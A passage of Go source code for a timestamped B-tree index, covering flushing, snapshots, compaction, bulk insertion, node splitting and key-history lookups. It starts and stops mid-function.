cleanupPercentageHint, cleanupPercentage, err) } cLogEntry.hLogChecksum, err = appendable.Checksum(t.hLog, t.committedHLogSize, wH) if err != nil { return 0, 0, t.wrapNwarn("flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err) } _, _, err = t.cLog.Append(cLogEntry.serialize()) if err != nil { return 0, 0, t.wrapNwarn("flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err) } err = t.cLog.Flush() if err != nil { return 0, 0, t.wrapNwarn("flushing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err) } t.insertionCountSinceFlush = 0 if t.onFlush != nil { t.onFlush(t.bufferedDataSize) } t.bufferedDataSize = 0 if cleanupPercentage != 0 { t.insertionCountSinceCleanup = 0 } t.logger.Infof("index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} successfully flushed", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage) if sync { err = t.cLog.Sync() if err != nil { return 0, 0, t.wrapNwarn("syncing index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err) } t.insertionCountSinceSync = 0 t.logger.Infof("index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} successfully synced", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage) // prevent discarding data referenced by opened snapshots discardableNLogOffset := actualNewMinOffset for _, snap := range t.snapshots { if snap.root.minOffset() < discardableNLogOffset { discardableNLogOffset = snap.root.minOffset() } } if discardableNLogOffset > t.minOffset { t.logger.Infof("discarding unreferenced data at index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f, current_min_offset=%d, new_min_offset=%d}...", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, t.minOffset, actualNewMinOffset) err = t.nLog.DiscardUpto(discardableNLogOffset) if err != nil { t.logger.Warningf("discarding unreferenced data at index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f} returned: %v", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, err) } metricsBtreeNodesDataBeginOffset.WithLabelValues(t.path).Set(float64(discardableNLogOffset)) t.logger.Infof("unreferenced data at index '%s' {ts=%d, cleanup_percentage=%.2f/%.2f, current_min_offset=%d, new_min_offset=%d} successfully discarded", t.path, t.root.ts(), cleanupPercentageHint, cleanupPercentage, t.minOffset, actualNewMinOffset) } discardableCommitLogOffset := t.committedLogSize - int64(cLogEntrySize*len(t.snapshots)+1) if discardableCommitLogOffset > 0 { t.logger.Infof("discarding older snapshots at index '%s' {ts=%d, opened_snapshots=%d}...", t.path, t.root.ts(), len(t.snapshots)) err = t.cLog.DiscardUpto(discardableCommitLogOffset) if err != nil { t.logger.Warningf("discarding older snapshots at index '%s' {ts=%d, opened_snapshots=%d} returned: %v", t.path, t.root.ts(), len(t.snapshots), err) } t.logger.Infof("older snapshots at index '%s' {ts=%d, opened_snapshots=%d} successfully discarded", t.path, t.root.ts(), len(t.snapshots)) } } t.minOffset = t.root.minOffset() t.committedLogSize += cLogEntrySize t.committedNLogSize += wN t.committedHLogSize += wH metricsBtreeNodesDataEndOffset.WithLabelValues(t.path).Set(float64(t.committedNLogSize)) // current root can be used as latest snapshot as !t.root.mutated() holds t.lastSnapRoot = t.root t.lastSnapRootAt = time.Now() return wN, wH, nil } func (t *TBtree) readTsFile() uint64 { path := filepath.Join(t.path, t.tsFile) bs, err := os.ReadFile(path) if err != nil { return 0 } return binary.BigEndian.Uint64(bs) } // The timestamp (ts) file is essential for optimizing crash recovery and restart times. // Initially, the B-Tree design only persisted timestamp information directly with inserted key-value entries. // However, when the tree's logical timestamp is advanced (e.g., via `SetTs()`), this crucial // 'high-water mark' is not automatically written to disk. // // Consequently, without this dedicated timestamp file, a system restart or crash would // necessitate re-scanning entire segments of the transaction log. This can be // extremely time-consuming, especially if long segments of the log have been processed // but haven't resulted in new key insertions that trigger a tree flush, leading to // inefficient recovery and prolonged downtime. func (t *TBtree) writeTsFile() error { return writeTsFile(t.path, t.tsFile, t.root.ts()) } func writeTsFile(path, name string, ts uint64) error { tempFileName, err := func() (string, error) { tempFile, err := os.CreateTemp(path, "") if err != nil { return "", err } defer tempFile.Close() var buf [8]byte binary.BigEndian.PutUint64(buf[:], ts) _, err = tempFile.Write(buf[:]) if err != nil { return "", err } err = tempFile.Sync() return tempFile.Name(), err }() if err != nil { return err } return os.Rename(tempFileName, filepath.Join(path, name)) } // SnapshotCount returns the number of stored snapshots // Note: snapshotCount(compact(t)) = 1 func (t *TBtree) SnapshotCount() (uint64, error) { t.rwmutex.RLock() defer t.rwmutex.RUnlock() if t.closed { return 0, ErrAlreadyClosed } return t.snapshotCount(), nil } func (t *TBtree) snapshotCount() uint64 { return uint64(t.committedLogSize / cLogEntrySize) } func (t *TBtree) buildWriteProgressOutput( nodesLastCycle *prometheus.GaugeVec, nodesTotal *prometheus.CounterVec, entriesLastCycle *prometheus.GaugeVec, entriesTotal *prometheus.CounterVec, action string, snapTS uint64, logReportDelay time.Duration, ) ( writeProgressOutputFunc, writeFinnishOutputFunc, ) { iLastCycle := nodesLastCycle.WithLabelValues(t.path, "inner") lLastCycle := nodesLastCycle.WithLabelValues(t.path, "leaf") eLastCycle := entriesLastCycle.WithLabelValues(t.path) iTotal := nodesTotal.WithLabelValues(t.path, "inner") lTotal := nodesTotal.WithLabelValues(t.path, "leaf") eTotal := entriesTotal.WithLabelValues(t.path) innerNodes := 0 leafNodes := 0 entries := 0 lastProgressTime := time.Now() progressFunc := func(innerNodesWritten, leafNodesWritten, entriesWritten int) { innerNodes += innerNodesWritten leafNodes += leafNodesWritten entries += entriesWritten iTotal.Add(float64(innerNodesWritten)) lTotal.Add(float64(leafNodesWritten)) eTotal.Add(float64(entriesWritten)) now := time.Now() if now.Sub(lastProgressTime) > logReportDelay { t.logger.Infof( "%s index '%s' {ts=%d} progress: %d inner nodes, %d leaf nodes, %d entries...", action, t.path, snapTS, leafNodes, innerNodes, entries, ) lastProgressTime = now } } finishFunc := func() { iLastCycle.Set(float64(innerNodes)) lLastCycle.Set(float64(leafNodes)) eLastCycle.Set(float64(entries)) t.logger.Infof( "%s index '%s' {ts=%d} finished with: %d inner nodes, %d leaf nodes, %d entries", action, t.path, snapTS, leafNodes, innerNodes, entries, ) } return progressFunc, finishFunc } func (t *TBtree) Compact() (uint64, error) { t.rwmutex.Lock() defer t.rwmutex.Unlock() if t.closed { return 0, ErrAlreadyClosed } if t.compacting { return 0, ErrCompactAlreadyInProgress } if t.snapshotCount() < uint64(t.compactionThld) { return 0, ErrCompactionThresholdNotReached } _, _, err := t.flushTree(0, false, false, "compact") if err != nil { return 0, err } snap := t.newSnapshot(0, t.root) t.compacting = true defer func() { t.compacting = false }() // snapshot dumping without lock t.rwmutex.Unlock() defer t.rwmutex.Lock() t.logger.Infof("dumping index '%s' {ts=%d}...", t.path, snap.Ts()) progressOutput, finishOutput := t.buildWriteProgressOutput( metricsCompactedNodesLastCycle, metricsCompactedNodesTotal, metricsCompactedEntriesLastCycle, metricsCompactedEntriesTotal, "dumping", snap.Ts(), time.Minute, ) defer finishOutput() err = t.fullDump(snap, progressOutput) if err != nil { return 0, t.wrapNwarn("dumping index '%s' {ts=%d} returned: %v", t.path, snap.Ts(), err) } t.logger.Infof("index '%s' {ts=%d} successfully dumped", t.path, snap.Ts()) return snap.Ts(), nil } func (t *TBtree) fullDump(snap *Snapshot, progressOutput writeProgressOutputFunc) error { metadata := appendable.NewMetadata(nil) metadata.PutInt(MetaVersion, Version) metadata.PutInt(MetaMaxNodeSize, t.maxNodeSize) appendableOpts := multiapp.DefaultOptions(). WithReadOnly(false). WithRetryableSync(false). WithFileSize(t.fileSize). WithFileMode(t.fileMode). WithWriteBufferSize(t.flushBufferSize). WithMetadata(t.cLog.Metadata()) appendableOpts.WithFileExt("n") nLogPath := filepath.Join(t.path, snapFolder(nodesFolderPrefix, snap.Ts())) nLog, err := multiapp.Open(nLogPath, appendableOpts) if err != nil { return err } defer func() { nLog.Close() }() appendableOpts.WithFileExt("ri") cLogPath := filepath.Join(t.path, snapFolder(commitFolderPrefix, snap.Ts())) _, err = os.Stat(cLogPath) if err == nil { return fmt.Errorf("%w: while dumping index to '%s'", ErrTargetPathAlreadyExists, cLogPath) } cLog, err := multiapp.Open(cLogPath, appendableOpts) if err != nil { return err } defer func() { cLog.Close() }() err = t.fullDumpTo(snap, nLog, cLog, progressOutput) if err == nil { tsFile := snapFolder(timestampFile, snap.Ts()) if err := writeTsFile(t.path, tsFile, snap.Ts()); err != nil { t.logger.Errorf("%s: unable to write ts file at path %s", err, t.path) } } return err } func (t *TBtree) fullDumpTo(snapshot *Snapshot, nLog, cLog appendable.Appendable, progressOutput writeProgressOutputFunc) error { wopts := &WriteOpts{ OnlyMutated: false, BaseNLogOffset: 0, BaseHLogOffset: 0, reportProgress: progressOutput, } _, _, wN, _, err := snapshot.WriteTo(&appendableWriter{nLog}, nil, wopts) if err != nil { return err } err = nLog.Flush() if err != nil { return err } err = nLog.Sync() if err != nil { return err } // history log is not dumped but to ensure it's fully synced err = t.hLog.Sync() if err != nil { return err } hLogSize, err := t.hLog.Size() if err != nil { return err } rootSize, err := snapshot.root.size() if err != nil { return err } // initial and final sizes are set to the same value so to avoid calculating digests of everything // it's safe as node and history log files are already synced cLogEntry := &cLogEntry{ initialNLogSize: wN, finalNLogSize: wN, rootNodeSize: rootSize, initialHLogSize: hLogSize, finalHLogSize: hLogSize, } cLogEntry.nLogChecksum, err = appendable.Checksum(nLog, cLogEntry.initialNLogSize, cLogEntry.finalNLogSize-cLogEntry.initialNLogSize) if err != nil { return err } cLogEntry.hLogChecksum, err = appendable.Checksum(t.hLog, cLogEntry.initialHLogSize, cLogEntry.finalHLogSize-cLogEntry.initialHLogSize) if err != nil { return err } _, _, err = cLog.Append(cLogEntry.serialize()) if err != nil { return err } err = cLog.Flush() if err != nil { return err } err = cLog.Sync() if err != nil { return err } return nil } func (t *TBtree) Close() error { t.logger.Infof("closing index '%s' {ts=%d}...", t.path, t.root.ts()) t.rwmutex.Lock() defer t.rwmutex.Unlock() if t.closed { return ErrAlreadyClosed } if len(t.snapshots) > 0 { return ErrSnapshotsNotClosed } t.closed = true if t.root.tsMutated() { if err := t.writeTsFile(); err != nil { return err } } merrors := multierr.NewMultiErr() _, _, err := t.flushTree(0, true, false, "close") merrors.Append(err) err = t.nLog.Close() merrors.Append(err) err = t.hLog.Close() merrors.Append(err) err = t.cLog.Close() merrors.Append(err) err = merrors.Reduce() if err != nil { return t.wrapNwarn("closing index '%s' {ts=%d} returned: %v", t.path, t.root.ts(), err) } t.logger.Infof("index '%s' {ts=%d} successfully closed", t.path, t.root.ts()) return nil } func (t *TBtree) IncreaseTs(ts uint64) error { t.rwmutex.Lock() defer t.rwmutex.Unlock() if t.closed { return ErrAlreadyClosed } root, err := t.root.setTs(ts) if err != nil { return err } t.root = root t.insertionCountSinceFlush++ t.insertionCountSinceSync++ t.insertionCountSinceCleanup++ if t.insertionCountSinceFlush >= t.flushThld { _, _, err := t.flushTree(t.cleanupPercentage, false, false, "increaseTs") return err } return nil } type KVT struct { K []byte V []byte T uint64 } func (t *TBtree) lock() { t.rwmutex.Lock() } func (t *TBtree) unlock() { slowDown := t.compacting && t.delayDuringCompaction > 0 t.rwmutex.Unlock() if slowDown { time.Sleep(t.delayDuringCompaction) } } func (t *TBtree) Insert(key []byte, value []byte) error { t.lock() defer t.unlock() return t.bulkInsert([]*KVT{{K: key, V: value}}) } // BulkInsert inserts multiple entries atomically. // It is possible to specify a logical timestamp for each entry. // Timestamps with zero will be associated with the current time plus one. // The specified timestamp must be greater than the root's current timestamp. // Timestamps must be increased by one for each additional entry for a key. func (t *TBtree) BulkInsert(kvts []*KVT) error { t.lock() defer t.unlock() return t.bulkInsert(kvts) } func estimateSize(kvts []*KVT) int { size := 0 for _, kv := range kvts { size += len(kv.K) + len(kv.V) + 8 } return size } func (t *TBtree) bulkInsert(kvts []*KVT) error { if t.closed { return ErrAlreadyClosed } if len(kvts) == 0 { return ErrIllegalArguments } entriesSize := estimateSize(kvts) if t.bufferedDataSize > 0 && t.bufferedDataSize+entriesSize > t.maxBufferedDataSize { _, _, err := t.flushTree(t.cleanupPercentage, false, false, "bulkInsert") if err != nil { return err } } t.bufferedDataSize += entriesSize currTs := t.root.ts() // newTs will hold the greatest time, the minimun value will be currTs + 1 var newTs uint64 // validated immutable copy of input kv pairs immutableKVTs := make([]*KVT, len(kvts)) for i, kvt := range kvts { if kvt == nil || len(kvt.K) == 0 || len(kvt.V) == 0 { return ErrIllegalArguments } if len(kvt.K) > t.maxKeySize { return ErrorMaxKeySizeExceeded } if len(kvt.V) > t.maxValueSize { return ErrorMaxValueSizeExceeded } k := make([]byte, len(kvt.K)) copy(k, kvt.K) v := make([]byte, len(kvt.V)) copy(v, kvt.V) t := kvt.T if t == 0 { // zero-valued timestamps are associated with current time plus one t = currTs + 1 } else if kvt.T <= currTs { // insertion with a timestamp older or equal to the current timestamp should not be allowed return fmt.Errorf("%w: specific timestamp is older than root's current timestamp", ErrIllegalArguments) } immutableKVTs[i] = &KVT{ K: k, V: v, T: t, } if t > newTs { newTs = t } } nodes, depth, err := t.root.insert(immutableKVTs) if err != nil { // INVARIANT: if !node.mutated() then for every node 'n' in the subtree with node as root !n.mutated() also holds // if t.root is not mutated it means no change was made on any node of the tree. Thus no rollback is needed if t.root.mutated() { // changes may need to be rolled back // the most recent snapshot becomes the root again or a fresh start if no snapshots are stored if t.lastSnapRoot == nil { t.root = &leafNode{t: t, mut: true} } else { t.root = t.lastSnapRoot } } return err } for len(nodes) > 1 { newRoot := &innerNode{ t: t, nodes: nodes, _ts: newTs, mut: true, } depth++ nodes, err = newRoot.split() if err != nil { return err } } t.root = nodes[0] metricsBtreeDepth.WithLabelValues(t.path).Set(float64(depth)) t.insertionCountSinceFlush += len(immutableKVTs) t.insertionCountSinceSync += len(immutableKVTs) t.insertionCountSinceCleanup += len(immutableKVTs) if t.insertionCountSinceFlush >= t.flushThld { _, _, err := t.flushTree(t.cleanupPercentage, false, false, "bulkInsert") return err } return nil } func (t *TBtree) Ts() uint64 { t.rwmutex.RLock() defer t.rwmutex.RUnlock() return t.root.ts() } func (t *TBtree) SyncSnapshot() (*Snapshot, error) { t.rwmutex.RLock() if t.closed { return nil, ErrAlreadyClosed } return &Snapshot{ id: math.MaxUint64, t: t, ts: t.root.ts(), root: t.root, readers: make(map[int]io.Closer), _buf: make([]byte, t.maxNodeSize), }, nil } func (t *TBtree) Snapshot() (*Snapshot, error) { return t.SnapshotMustIncludeTs(0) } func (t *TBtree) SnapshotMustIncludeTs(ts uint64) (*Snapshot, error) { return t.SnapshotMustIncludeTsWithRenewalPeriod(ts, t.renewSnapRootAfter) } // SnapshotMustIncludeTsWithRenewalPeriod returns a new snapshot based on an existent dumped root (snapshot reuse). // Current root may be dumped if there are no previous root already stored on disk or if the dumped one was old enough. // If ts is 0, any snapshot not older than renewalPeriod may be used. // If renewalPeriod is 0, renewal period is not taken into consideration func (t *TBtree) SnapshotMustIncludeTsWithRenewalPeriod(ts uint64, renewalPeriod time.Duration) (*Snapshot, error) { t.rwmutex.Lock() defer t.rwmutex.Unlock() if t.closed { return nil, ErrAlreadyClosed } if ts > t.root.ts() { return nil, fmt.Errorf("%w: ts is greater than current ts", ErrIllegalArguments) } if len(t.snapshots) == t.maxActiveSnapshots { return nil, ErrorToManyActiveSnapshots } // the tbtree will be flushed if the current root is mutated, the data on disk is not synchronized, // and no snapshot on disk can be re-used. if t.root.mutated() { // it means the current root is not stored on disk var snapshotRenewalNeeded bool if t.lastSnapRoot == nil { snapshotRenewalNeeded = true } else if t.lastSnapRoot.ts() < t.root.ts() { snapshotRenewalNeeded = t.lastSnapRoot.ts() < ts || (renewalPeriod > 0 && time.Since(t.lastSnapRootAt) >= renewalPeriod) } if snapshotRenewalNeeded { // a new snapshot is dumped on disk including current root _, _, err := t.flushTree(t.cleanupPercentage, false, false, "snapshotSince") if err != nil { return nil, err } // !t.root.mutated() hold as this point } } if !t.root.mutated() { // either if the root was not updated or if it was dumped as part of a snapshot renewal t.lastSnapRoot = t.root t.lastSnapRootAt = time.Now() } t.maxSnapshotID++ snapshot := t.newSnapshot(t.maxSnapshotID, t.lastSnapRoot) t.snapshots[snapshot.id] = snapshot return snapshot, nil } func (t *TBtree) newSnapshot(snapshotID uint64, root node) *Snapshot { return &Snapshot{ t: t, id: snapshotID, ts: root.ts() + 1, root: root, readers: make(map[int]io.Closer), _buf: make([]byte, t.maxNodeSize), } } func (t *TBtree) snapshotClosed(snapshot *Snapshot) error { if snapshot.id == math.MaxUint64 { t.rwmutex.RUnlock() return nil } t.rwmutex.Lock() defer t.rwmutex.Unlock() delete(t.snapshots, snapshot.id) return nil } func (n *innerNode) insert(kvts []*KVT) (nodes []node, depth int, err error) { if n.mutated() { return n.updateOnInsert(kvts) } newNode := &innerNode{ t: n.t, nodes: make([]node, len(n.nodes)), _ts: n._ts, _minOff: n._minOff, mut: true, } copy(newNode.nodes, n.nodes) return newNode.updateOnInsert(kvts) } func (n *innerNode) updateOnInsert(kvts []*KVT) (nodes []node, depth int, err error) { // group kvs by child at which they will be inserted kvtsPerChild := make(map[int][]*KVT) for _, kvt := range kvts { childIndex := n.indexOf(kvt.K) kvtsPerChild[childIndex] = append(kvtsPerChild[childIndex], kvt) } var wg sync.WaitGroup wg.Add(len(kvtsPerChild)) nodesPerChild := make(map[int][]node) var nodesMutex sync.Mutex for childIndex, childKVTs := range kvtsPerChild { // insert kvs at every child simultaneously go func(childIndex int, childKVTs []*KVT) { defer wg.Done() child := n.nodes[childIndex] newChildren, childrenDepth, childrenErr := child.insert(childKVTs) nodesMutex.Lock() defer nodesMutex.Unlock() if childrenErr != nil { // if any of its children fail to insert, insertion fails err = childrenErr return } nodesPerChild[childIndex] = newChildren if childrenDepth > depth { depth = childrenDepth } for _, newChild := range newChildren { if newChild.ts() > n._ts { n._ts = newChild.ts() } } }(childIndex, childKVTs) } // wait for all the insertions to be done wg.Wait() if err != nil { return nil, 0, err } // count the number of children after insertion nsSize := len(n.nodes) for i := range n.nodes { cs, ok := nodesPerChild[i] if ok { nsSize += len(cs) - 1 } } ns := make([]node, nsSize) nsi := 0 for i, n := range n.nodes { cs, ok := nodesPerChild[i] if ok { copy(ns[nsi:], cs) nsi += len(cs) } else { ns[nsi] = n nsi++ } } n.nodes = ns nodes, err = n.split() if err != nil { return nil, 0, err } return nodes, depth + 1, nil } func (n *innerNode) get(key []byte) (value []byte, ts uint64, hc uint64, err error) { return n.nodes[n.indexOf(key)].get(key) } func (n *innerNode) getBetween(key []byte, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) { return n.nodes[n.indexOf(key)].getBetween(key, initialTs, finalTs) } func (n *innerNode) history(key []byte, offset uint64, descOrder bool, limit int) ([]TimedValue, uint64, error) { return n.nodes[n.indexOf(key)].history(key, offset, descOrder, limit) } func (n *innerNode) findLeafNode(seekKey []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) { metricsBtreeInnerNodeEntries.WithLabelValues(n.t.path).Observe(float64(len(n.nodes))) if descOrder { for i := offset; i < len(n.nodes); i++ { j := len(n.nodes) - 1 - i minKey := n.nodes[j].minKey() if len(neqKey) > 0 && bytes.Compare(minKey, neqKey) >= 0 { continue } if bytes.Compare(minKey, seekKey) < 1 { return n.nodes[j].findLeafNode(seekKey, append(path, &pathNode{node: n, offset: i}), 0, neqKey, descOrder) } } return nil, nil, 0, ErrKeyNotFound } if offset > len(n.nodes)-1 { return nil, nil, 0, ErrKeyNotFound } for i := offset; i < len(n.nodes)-1; i++ { nextMinKey := n.nodes[i+1].minKey() if bytes.Compare(seekKey, nextMinKey) >= 0 { continue } if len(neqKey) > 0 && bytes.Compare(nextMinKey, neqKey) < 0 { continue } path, leafNode, off, err := n.nodes[i].findLeafNode(seekKey, append(path, &pathNode{node: n, offset: i}), 0, neqKey, descOrder) if errors.Is(err, ErrKeyNotFound) { continue } return path, leafNode, off, err } return n.nodes[len(n.nodes)-1].findLeafNode(seekKey, append(path, &pathNode{node: n, offset: len(n.nodes) - 1}), 0, neqKey, descOrder) } func (n *innerNode) ts() uint64 { return n._ts } func (n *innerNode) setTs(ts uint64) (node, error) { if n._ts >= ts { return nil, ErrIllegalArguments } if n.mut { n._ts = ts return n, nil } newNode := &innerNode{ t: n.t, nodes: make([]node, len(n.nodes)), _ts: ts, mut: true, } copy(newNode.nodes, n.nodes) return newNode, nil } // size calculates the amount of bytes required to serialize an inner node // note: requiredNodeSize must be revised if this function is modified func (n *innerNode) size() (int, error) { size := 1 // Node type size += 2 // Child count for _, c := range n.nodes { size += 2 // minKey length size += len(c.minKey()) // minKey size += 8 // ts size += 8 // offset size += 8 // min offset } return size, nil } func (l *innerNode) tsMutated() bool { for _, nd := range l.nodes { if nd.ts() >= l.ts() { return false } } return true } func (n *innerNode) mutated() bool { return n.mut } func (n *innerNode) offset() int64 { return n.off } func (n *innerNode) minOffset() int64 { return n._minOff } func (n *innerNode) minKey() []byte { if len(n.nodes) == 0 { return nil } return n.nodes[0].minKey() } // indexOf returns the first child at which key is equal or greater than its minKey func (n *innerNode) indexOf(key []byte) int { metricsBtreeInnerNodeEntries.WithLabelValues(n.t.path).Observe(float64(len(n.nodes))) left := 0 right := len(n.nodes) - 1 var middle int var diff int for left < right { middle = left + (right-left)/2 + 1 minKey := n.nodes[middle].minKey() diff = bytes.Compare(minKey, key) if diff == 0 { return middle } else if diff < 0 { // minKey < key left = middle } else { // minKey > key right = middle - 1 } } return left } func (n *innerNode) split() ([]node, error) { size, err := n.size() if err != nil { return nil, err } if size <= n.t.maxNodeSize { metricsBtreeInnerNodeEntries.WithLabelValues(n.t.path).Observe(float64(len(n.nodes))) return []node{n}, nil } splitIndex := splitIndex(len(n.nodes)) newNode := &innerNode{ t: n.t, nodes: n.nodes[splitIndex:], mut: true, } newNode.updateTs() n.nodes = n.nodes[:splitIndex] n.updateTs() ns1, err := n.split() if err != nil { return nil, err } ns2, err := newNode.split() if err != nil { return nil, err } return append(ns1, ns2...), nil } func (n *innerNode) updateTs() { n._ts = 0 for i := 0; i < len(n.nodes); i++ { if n.ts() < n.nodes[i].ts() { n._ts = n.nodes[i].ts() } } } //////////////////////////////////////////////////////////// func (r *nodeRef) insert(kvts []*KVT) (nodes []node, depth int, err error) { n, err := r.t.nodeAt(r.off, true) if err != nil { return nil, 0, err } return n.insert(kvts) } func (r *nodeRef) get(key []byte) (value []byte, ts uint64, hc uint64, err error) { n, err := r.t.nodeAt(r.off, true) if err != nil { return nil, 0, 0, err } return n.get(key) } func (r *nodeRef) getBetween(key []byte, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) { n, err := r.t.nodeAt(r.off, true) if err != nil { return nil, 0, 0, err } return n.getBetween(key, initialTs, finalTs) } func (r *nodeRef) history(key []byte, offset uint64, descOrder bool, limit int) ([]TimedValue, uint64, error) { n, err := r.t.nodeAt(r.off, true) if err != nil { return nil, 0, err } return n.history(key, offset, descOrder, limit) } func (r *nodeRef) findLeafNode(seekKey []byte, path path, offset int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) { n, err := r.t.nodeAt(r.off, true) if err != nil { return nil, nil, 0, err } return n.findLeafNode(seekKey, path, offset, neqKey, descOrder) } func (r *nodeRef) minKey() []byte { return r._minKey } func (r *nodeRef) ts() uint64 { return r._ts } func (r *nodeRef) minOffset() int64 { return r._minOff } func (r *nodeRef) setTs(ts uint64) (node, error) { n, err := r.t.nodeAt(r.off, false) if err != nil { return nil, err } return n.setTs(ts) } func (r *nodeRef) size() (int, error) { n, err := r.t.nodeAt(r.off, false) if err != nil { return 0, err } return n.size() } func (r *nodeRef) tsMutated() bool { return false } func (r *nodeRef) mutated() bool { return false } func (r *nodeRef) offset() int64 { return r.off } //////////////////////////////////////////////////////////// func (l *leafNode) insert(kvts []*KVT) (nodes []node, depth int, err error) { if l.mutated() { return l.updateOnInsert(kvts) } newLeaf := &leafNode{ t: l.t, values: make([]*leafValue, len(l.values)), _ts: l._ts, mut: true, } for i, lv := range l.values { timedValues := make([]TimedValue, len(lv.timedValues)) copy(timedValues, lv.timedValues) newLeaf.values[i] = &leafValue{ key: lv.key, timedValues: timedValues, hOff: lv.hOff, hCount: lv.hCount, } } return newLeaf.updateOnInsert(kvts) } func (l *leafNode) updateOnInsert(kvts []*KVT) (nodes []node, depth int, err error) { for _, kvt := range kvts { i, found := l.indexOf(kvt.K) if found { lv := l.values[i] if kvt.T < lv.timedValue().Ts { // The validation can be done upfront at bulkInsert, // but postponing it could reduce resource requirements during the earlier stages, // resulting in higher performance due to concurrency. return nil, 0, fmt.Errorf("%w: attempt to insert a value without an older timestamp", ErrIllegalArguments) } if kvt.T > lv.timedValue().Ts { lv.timedValues = append([]TimedValue{{Value: kvt.V, Ts: kvt.T}}, lv.timedValues...) } } else { values := make([]*leafValue, len(l.values)+1) copy(values, l.values[:i]) values[i] = &leafValue{ key: kvt.K, timedValues: []TimedValue{{Value: kvt.V, Ts: kvt.T}}, } copy(values[i+1:], l.values[i:]) l.values = values } if l._ts < kvt.T { l._ts = kvt.T } } nodes, err = l.split() return nodes, 1, err } func (l *leafNode) get(key []byte) (value []byte, ts uint64, hc uint64, err error) { i, found := l.indexOf(key) if !found { return nil, 0, 0, ErrKeyNotFound } leafValue := l.values[i] timedValue := leafValue.timedValue() return timedValue.Value, timedValue.Ts, leafValue.historyCount(), nil } func (l *leafNode) getBetween(key []byte, initialTs, finalTs uint64) (value []byte, ts uint64, hc uint64, err error) { i, found := l.indexOf(key) if !found { return nil, 0, 0, ErrKeyNotFound } leafValue := l.values[i] return leafValue.lastUpdateBetween(l.t.hLog, initialTs, finalTs) } func (l *leafNode) history(key []byte, offset uint64, desc bool, limit int) ([]TimedValue, uint64, error) { i, found := l.indexOf(key) if !found { return nil, 0, ErrKeyNotFound } leafValue := l.values[i] return leafValue.history(key, offset, desc, limit, l.t.hLog) } func (lv *leafValue) history(key []byte, offset uint64, desc bool, limit int, hLog appendable.Appendable) ([]TimedValue, uint64, error) { hCount := lv.historyCount() if offset == hCount { return nil, 0, ErrNoMoreEntries } if offset > hCount { return nil, 0, ErrOffsetOutOfRange } timedValuesLen := limit if uint64(limit) > hCount-offset { timedValuesLen = int(hCount - offset) } timedValues := make([]TimedValue, timedValuesLen) initAt := offset tssOff := 0 if !desc { initAt = hCount - offset - uint64(timedValuesLen) } if initAt < uint64(len(lv.timedValues)) { for i := int(initAt); i < len(lv.timedValues) && tssOff < timedValuesLen; i++ { if desc { timedValues[tssOff] = lv.timedValues[i] } else { timedValues[timedValuesLen-1-tssOff] = lv.timedValues[i] } tssOff++ } } hOff := lv.hOff ti := uint64(len(lv.timedValues)) for tssOff < timedValuesLen { r := appendable.NewReaderFrom(hLog, hOff, DefaultMaxNodeSize) hc, err := r.ReadUint32() if err != nil { return nil, 0, err } for i := 0; i < int(hc) && tssOff < timedValuesLen; i++ { valueLen, err := r.ReadUint16() if err != nil { return nil, 0, err } value := make([]byte, valueLen) _, err = r.Read(value) if err != nil { return nil, 0, err } ts, err := r.ReadUint64() if err != nil { return nil, 0, err } if ti < initAt { ti++ continue } if desc { timedValues[tssOff] = TimedValue{Value: value, Ts: ts} } else { timedValues[timedValuesLen-1-tssOff] = TimedValue{Value: value, Ts: ts} } tssOff++ } prevOff, err := r.ReadUint64() if err != nil { return nil, 0, err } hOff = int64(prevOff) } return timedValues, hCount, nil } func (l *leafNode) findLeafNode(seekKey []byte, path path, _ int, neqKey []byte, descOrder bool) (path, *leafNode, int, error) { metricsBtreeLeafNodeEntries.WithLabelValues(l.t.path).Observe(float64(len(l.values))) if descOrder { for i := len(l.values); i > 0; i-- { key := l.values[i-1].key if len(neqKey) > 0 && bytes.Compare(key, neqKey) >= 0 { continue } if bytes.Compare(key, seekKey) < 1 { return path, l, i - 1, nil } } return nil, nil, 0, ErrKeyNotFound } for i, v := range l.values { if len(neqKey) > 0 && bytes.Compare(v.key, neqKey) <= 0 { continue } if bytes.Compare(seekKey, v.key) < 1 { return path, l, i, nil } } return nil, nil, 0, ErrKeyNotFound } func (l *leafNode) indexOf(key []byte) (index int, found bool) { metricsBtreeLeafNodeEntries.WithLabelValues(l.t.path).Observe(float64(len(l.values))) left := 0 right := len(l.values) var middle int var diff int for left < right { middle = left + (right-left)/2 diff = bytes.Compare(l.values[middle].key, key) if diff == 0 { return middle, true } else if diff < 0 { left = middle + 1 } else { right = middle } } return left, false } func (l *leafNode) minKey() []byte { if len(l.values) == 0 { return nil } return l.values[0].key } func (l *leafNode) ts() uint64 { return l._ts } func (l *leafNode) minOffset() int64 { return l.off } func (l *leafNode) setTs(ts uint64) (node, error) { if l._ts >= ts { return nil, ErrIllegalArguments } if l.mut { l._ts = ts return l, nil } newLeaf := &leafNode{ t: l.t, values: make([]*leafValue, len(l.values)), _ts: ts, mut: true, } for i := 0; i < len(l.values); i++ { lv := l.values[i] timedValues := make([]TimedValue, len(lv.timedValues)) copy(timedValues, lv.timedValues) newLeaf.values[i] = &leafValue{ key: lv.key, timedValues: timedValues, hOff: lv.hOff, hCount: lv.hCount, } } return newLeaf, nil } // size calculates the amount of bytes required to serialize a leaf node // note: requiredNodeSize must be revised if this function is modified func (l *leafNode) size() (int, error) { size := 1 // Node type size += 2 // kv count for _, kv := range l.values { tv := kv.timedValue() size += 2 // Key length size += len(kv.key) // Key size 